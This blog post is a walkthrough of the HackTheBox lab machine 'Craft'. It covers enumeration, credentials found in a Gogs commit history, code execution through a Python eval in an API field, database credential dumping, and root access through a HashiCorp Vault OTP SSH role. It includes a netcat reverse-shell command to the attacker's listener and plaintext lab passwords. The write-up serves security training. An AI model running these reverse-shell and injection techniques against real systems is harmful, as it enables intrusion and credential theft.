HacktheBox — Craft

Jan 4 · 13 min read

This is a write-up on how I solved Craft from HacktheBox.

Hack the Box is an online platform where you practice your penetration testing skills.

As always, I try to explain how I understood the concepts here from the machine because I want to really understand how things work. So please, if I misunderstood a concept, please let me know.

About the box:

Craft is one of my favorite machines. It requires you to enumerate properly, and “loot” on an exposed Gogs repository where you can see credentials from previous commits. Digging into the repository leads to the exposure of the source code of an application where a Python eval can be abused. This initial access leads to modifications of a database connection script which you can edit to dump credentials. Logging in as one of the users, you can then misuse a secrets manager called Vault to login as root.


I first run an nmap scan by invoking:

nmap -p- -oA nmap/allports-tcp

It results to:

I follow up another scan:

nmap -p 22,443,6022 -sV -sC -oA nmap/initial

It results to:

22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u5 (protocol 2.0)
| ssh-hostkey:
| 2048 bd:e7:6c:22:81:7a:db:3e:c0:f0:73:1d:f3:af:77:65 (RSA)
| 256 82:b5:f9:d1:95:3b:6d:80:0f:35:91:86:2d:b3:d7:66 (ECDSA)
|_ 256 28:3b:26:18:ec:df:b3:36:85:9c:27:54:8d:8c:e1:33 (ED25519)
443/tcp open ssl/http nginx 1.15.8
|_http-server-header: nginx/1.15.8
|_http-title: About
| ssl-cert: Subject: commonName=craft.htb/organizationName=Craft/stateOrProvinceName=NY/countryName=US
| Not valid before: 2019-02-06T02:25:47
|_Not valid after: 2020-06-20T02:25:47
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
|_ http/1.1
| tls-nextprotoneg:
|_ http/1.1
6022/tcp open ssh (protocol 2.0)
| fingerprint-strings:
|_ SSH-2.0-Go
| ssh-hostkey:
|_ 2048 5b:cc:bf:f1:a1:8f:72:b0:c0:fb:df:a3:01:dc:a6:fb (RSA)
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Open ports are 22, 443, and 6022. The scan gives information of the ssl-cert, most interesting is the commonName field.

I then add this to my /etc/hosts file:    craft.htb

When I try to visit port 443:

I am prompted with a warning. This is because the certificate used by the machine is not known to Mozilla. This is common in HacktheBox machines.

Other Craft subdomains:

On the landing page of craft.htb, it indicates that their repository is accessible over REST API. Clicking the two options on the upper right, it leads us to a subdomain.

Clicking on the API, it leads to the URL api.craft.htb/api/, but it seems to fail to load the site.

Clicking on the logo beside API, it leads to gogs.craft.htb, which also fails. This is because of a concept called Virtual Hosting.

I then add the subdomains to my /etc/hosts so they will load.    craft.htb api.craft.htb gogs.craft.htb

Craft API:

After editing the hosts file, I can now view the 2 subdomains

Craft Gogs:

I then run a directory bruteforce on the gogs subdomain using Gobuster since Gogs is a repository:

gobuster dir -u https://gogs.craft.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -o gobuster-gogs.out -k

While waiting for the results of Gobuster, I played with the Craft API. The most useful are check, login, and brew. Its different operations and their respective request URL’s are:

GET /auth/check
Checks validity of an authorization token
URL: https://api.craft.htb/api/auth/check
GET /auth/login
Create an authentication token provided valid username and password
URL: https://api.craft.htb/api/auth/login
POST /brew/
Creates a new brew entry
URL: https://api.craft.htb/api/brew/

Checking auth login:

I used basic credentials like admin:admin, but doesn’t work and get a server response like this:

Most likely if I have valid credentials, it will generate an authorization token which we can verify using /auth/check. Checking /brew, it requires an authorization token before we can post data.

Going to the Gobuster results of the Gogs subdomain, I can see that there is an administrator leaf:

/img (Status: 302)
/admin (Status: 302)
/assets (Status: 302)
/issues (Status: 302)
/plugins (Status: 302)
/css (Status: 302)
/avatars (Status: 302)
/js (Status: 302)
/explore (Status: 302)
/administrator (Status: 200)
/debug (Status: 200)
/craft (Status: 200)
/less (Status: 302)

Visiting /administrator:

Checking its repositories, I can see craft-api:

I then checked the users, and find 4. They are administrator, ebachman, dinesh, girfoyle. The last 3 being characters from the series Silicon Valley.

Checking the repository, I can see numerous source codes:

Checking dbtest.py, it’s a database connection test script which includes a SQL query to check if it works. Note also where the details of the login are from.

Checking test.py, I can see familiar URL’s from the API subdomain. What stands out here is the auth parameter and the header X-Craft-API-Token which should be included(with a valid token) for me to interact with other functionalities of the API.

Checking also auth.py, it shows what is required in the authorizations:

Other information how the auth.py works:

Digging into other files, brew.py has an interesting line in its code.

The code includes an eval function which takes whatever is set as abv. There is also a comment to use sane ABV values. Checking the Issues, I see where that comment is from:

This is another mention of the header X-Craft-API-Token. Clicking the commit mentionted leads to this:

It seems the fix made included the eval function found earlier. I can try to abuse the eval function but it requires that we have credentials to get a token. Checking the commit history:

Checking the commit add test script(I can also see this by checking the history of the test.py), it exposes credentials:


The commit cleanup test removed the creds.

Using the credentials, I can login to Gogs as dinesh:

Using the same credentials, I can authenticate to the API:

And I am given a valid token:

I then inspect the auth login request to see its headers:

It uses Basic as its Authorization method, which is basically base64 encoding of the username and password:

I then include in the request to /auth/check the header X-Craft-Api-Token:

The token is valid.

Since I now have a way to obtain a token, I can now play with /api/brew. Note that earlier it was mentioned(and according to the script) that values for abv should be less than 1. I try posting a value of abv=1.1:

As expected. I then post an abv value of 0.2:

Since everything is working as expected, I now try to play with the eval function. Remember that there exists a line under brew.py, which directly passess the value of abv directly to eval:

# make sure the ABV value is sane.
if eval('%s > 1' % request.json['abv']):
return "ABV must be a decimal value less than 1.0", 400
return None, 201

I first open a python2 interactive shell to check how I can misuse this. I can use a global import function and use its methods.

Seeing that it works locally, I now try it on the machine. I can verify code execution by making it ping my machine:

Since I can get pings from craft.htb, I now setup my listener to catch a reverse shell:

I then run a system command:

nc 9001 -e /bin/sh

And see that I get my shell. Note that when I run id, I am root.

I also try to get a proper shell, but failed to do so:

I then run ifconfig to check my ip, verifying if it’s If not, then most likely I need to pivot and I maybe in a docker container. I also find a .dockerenv file on the / directory. This verifies we are in a container.

I also run a ping sweep in case I need to pivot later on:

for ip in $(seq 1 254); do (ping -c 1 172.20.0.$ip | grep "bytes from" | cut -d ":" -f1 | cut -d " " -f4 &); done

I then decided to go back to the files of the app. For me to check the files of the repository, I use find to look for brew.py, which most likely have files near(and some files may not be in the Gogs) it that can be interesting:

Since I am inside the machine, I then try to run dbtest.py(which I encountered earlier):

Note that inside dbtest.py, there is an import settings:

I then searched for the settings module under craft_api:

Note that the settings.py is not in Gogs:

Reading settings.py, I find the CRAFT_API_SECRET and database details. This is what’s imported when I run dbtest.py.

Since I can run python scripts, I then decided to create a similar script like dbtest.py, but with different SQL commands. I tried using curl but it is not installed in the box, luckily wget is available:

I changed the SQL to “SELECT user();” to verify if this works(I am expecting to be the craft user). Note that I edit also fetchone method to fetchall.

Checking the models.py under database folder, I can see that id,brewer,name,style,abv are columns under Brew and id,username,password are columns under User.

I then edit fakedbtest.py with the SQL statement to check table names:

"SELECT table_name FROM information_schema.tables;"

This leads to many tables but what’s important is the Brew and Users table:

Finally, I then edit fakedbtest.py with the SQL statement to list all data under the user table:


And I get the credentials of the users:

[{'id': 1, 'username': 'dinesh', 'password': '4aUh0A8PbVJxgd'}, {'id': 4, 'username': 'ebachman', 'password': 'llJ77D8QFkLPQB'}, {'id': 5, 'username': 'gilfoyle', 'password': 'ZEU3N8WNM2rh4T'}]

I then tried the credentials on SSH on port 22 and 6022, but all of them are invalid.

I then use the credentials to login at Gogs, the credentials for ebachman doesn’t work, but gilfoyle’s works:

I then spot a craft-infra repository:

It includes files for .ssh, mysql, nginx, flask, and vault. The includes configs of those running services. You can check them out so you can understand how the infrastructure was built and how it ended up functioning like that.

Under the .ssh folder, there exists an OpenSSH private key:

I can use this key to login as gilfoyle, using the same password from the database:

And now I can read user.txt:

gilfoyle@craft:~$ cat user.txt 

Getting Root:

After running ls -al, a file called .vault-token stands out.

Checking its contents:


Also a quick search leads to the Hashicorp’s Vault. You can read more about it and its common commands here:

I go back to the repository and check files under the directory vault:

This is just a configuration file where the SSL files are kept under vault. The other file is more intersting.

Note that a secret for ssh is enabled. Checking for possible options:

I try the token command and its subcommands(capabilities and lookup):

Note that the token’s capabilities is root.

I try the login command and am prompted that I give the token. Giving it the token authenticates us with token_policies as root:

Since SSH was mentioned in the repository, I exploire the vault ssh command:

Otp rings a bell as it is mentioned in the secrets.sh file:

vault write ssh/roles/root_otp \
key_type=otp \
default_user=root \

Trying to use ssh with -mode=otp and logging as root@localhost:

I am able to login and can now read root.txt:

root@craft:~# cat root.txt

Note that the port 6022 is docker stuff.

So that’s how I solved Craft. I learned tons of stuff solving this box. I wish more boxes are like this. Seems very intuitive when solving.

I hoped you learned something from this. Thanks for reading my write-up! Cheers! 🍺

InfoSec Write-ups

A collection of write-ups from the best hackers in the world on topics ranging from bug bounties and CTFs to vulnhub machines, hardware challenges and real life encounters. In a nutshell, we are the largest InfoSec publication on Medium. Maintained by Hackrew


Written by


Infosec enthusiast || Aspiring penetration tester

InfoSec Write-ups

A collection of write-ups from the best hackers in the world on topics ranging from bug bounties and CTFs to vulnhub machines, hardware challenges and real life encounters. In a nutshell, we are the largest InfoSec publication on Medium. Maintained by Hackrew

More From Medium

Welcome to a place where words matter. On Medium, smart voices and original ideas take center stage - with no ads in sight. Watch
Follow all the topics you care about, and we’ll deliver the best stories for you to your homepage and inbox. Explore
Get unlimited access to the best stories on Medium — and support writers while you’re at it. Just $5/month. Upgrade